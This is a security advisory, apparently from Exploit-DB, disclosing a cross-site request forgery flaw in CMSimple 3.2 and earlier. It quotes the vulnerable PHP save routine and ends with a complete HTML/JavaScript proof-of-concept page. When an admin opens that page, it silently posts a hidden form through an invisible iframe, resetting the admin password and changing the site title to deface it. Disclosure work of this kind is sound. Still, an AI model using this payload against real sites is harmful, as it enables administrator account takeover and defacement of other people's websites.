112 lines
No EOL
4.6 KiB
HTML
112 lines
No EOL
4.6 KiB
HTML
'''
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__ __ ____ _ _ ____
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| \/ |/ __ \ /\ | | | | _ \
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| \ / | | | | / \ | | | | |_) |
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| |\/| | | | |/ /\ \| | | | _ <
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| | | | |__| / ____ \ |__| | |_) |
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|_| |_|\____/_/ \_\____/|____/
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http://www.exploit-db.com/moaub-18-cmsimple-xsrf-vulnerability/
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'''
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- Title : CMSimple XSRF Vulnerability
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- Affected Version :CMSimple <=3.2
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- Vendor Site : www.cmsimple.org
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- Discovery : Abysssec
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- Description :
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===============
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CMSimple is one of the smallest, smartest and most simple Content Management Systems under the GPL or AGPL licence.
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This CMS supported Multi language.
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- Vulnerability:
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==================
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XSRFs
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--------
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Several XSRF existed in this CMS, attacker can use them for: changing admin password ,change use type or ,Deface the website.
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Here is vulnerable code:
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file:cmsimple/adm.php[line 141-180]:
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if ($action == 'save') {
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if ($form == 'array') {
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$text = "<?php\n";
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foreach($GLOBALS[$a] as $k1 => $v1) {
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if (is_array($v1)) {
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foreach($v1 as $k2 => $v2) {
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if (!is_array($v2)) {
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initvar($k1.'_'.$k2);
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$GLOBALS[$a][$k1][$k2] = $GLOBALS[$k1.'_'.$k2];
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$GLOBALS[$a][$k1][$k2] = stsl($GLOBALS[$a][$k1][$k2]);
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if ($k1.$k2 == 'editorbuttons')$text .= '$'.$a.'[\''.$k1.'\'][\''.$k2.'\']=\''.$GLOBALS[$a][$k1][$k2].'\';';
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else $text .= '$'.$a.'[\''.$k1.'\'][\''.$k2.'\']="'.preg_replace("/\"/s", "", $GLOBALS[$a][$k1][$k2]).'";'."\n";
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}
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}
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}
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}
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$text .= '?>';
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}
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else $text = rmnl(stsl($text));
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if ($fh = @fopen($pth['file'][$file], "w")) {
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fwrite($fh, $text);
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fclose($fh);
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if ($file == 'config' || $file == 'language') {
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if (!@include($pth['file'][$file]))e('cntopen', $file, $pth['file'][$file]);
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if ($file == 'config') {
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$pth['folder']['template'] = $pth['folder']['templates'].$cf['site']['template'].'/';
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$pth['file']['template'] = $pth['folder']['template'].'template.htm';
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$pth['file']['stylesheet'] = $pth['folder']['template'].'stylesheet.css';
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$pth['folder']['menubuttons'] = $pth['folder']['template'].'menu/';
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$pth['folder']['templateimages'] = $pth['folder']['template'].'images/';
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if (!(preg_match('/\/[A-z]{2}\/[^\/]*/', sv('PHP_SELF')))) {
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$sl = $cf['language']['default'];
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$pth['file']['language'] = $pth['folder']['language'].$sl.'.php';
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if (!@include($pth['file']['language']))die('Language file '.$pth['file']['language'].' missing');
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}
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}
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}
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}
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else e('cntwriteto', $file, $pth['file'][$file]);
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}
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+POC:
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show this code as html page to CMS Admin:
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<html>
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<head>
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<title>Change Password and Deface site.</title>
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<script>
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function creat_request (path,parameter,method) {
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method = method || "post";
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var remote_dive = document.createElement('div');
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remote_dive.id = 'Div_id';
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var style = 'border:0;width:0;height:0;';
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remote_dive.innerHTML = "<iframe name='iframename' id='iframeid' style='"+style+"'></iframe>";
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document.body.appendChild(remote_dive);
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var form = document.createElement("form");
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form.setAttribute("method", method);
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form.setAttribute("action", path);
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form.setAttribute("target", "iframename");
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for(var key in parameter) {
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var hiddenField = document.createElement("input");
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hiddenField.setAttribute("type", "hidden");
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hiddenField.setAttribute("name", key);
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hiddenField.setAttribute("value", parameter[key]);
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form.appendChild(hiddenField);
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}
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document.body.appendChild(form);
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form.submit();
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}
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function bypass(){
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creat_request('http://site.com/cmsimple/',{'security_password':'test1','security_type':'page','site_title':'ALERT.','site_template':'default','language_default':'en','meta_keywords':'CMSimple%2C+Content+Management+System%2C+php','meta_description':'CMSimple+is+a+simple+content+management+system+for+smart+maintainance+of+small+commercial+or+private+sites.+It+is+simple+-+small+-+smart%21','backup_numberoffiles':'5','images_maxsize':'150000','downloads_maxsize':'1000000','mailform_email':'','editor_height':'%28screen.availHeight%29-400','editor_external':'','menu_color':'000000','menu_highlightcolor':'808080','menu_levels':'3','menu_levelcatch':'10','menu_sdoc':'','menu_legal':'CMSimple+Legal+Notices','uri_seperator':'%3A','uri_length':'200','xhtml_endtags':'','xhtml_amp':'true','plugins_folder':'','functions_file':'functions.php','scripting_regexp':'%5C%23CMSimple+%28.*%3F%29%5C%23','form':'array','file':'config','action':'save'});
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}
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</script>
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</head>
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<body onload="bypass();" >
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</body>
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</html> |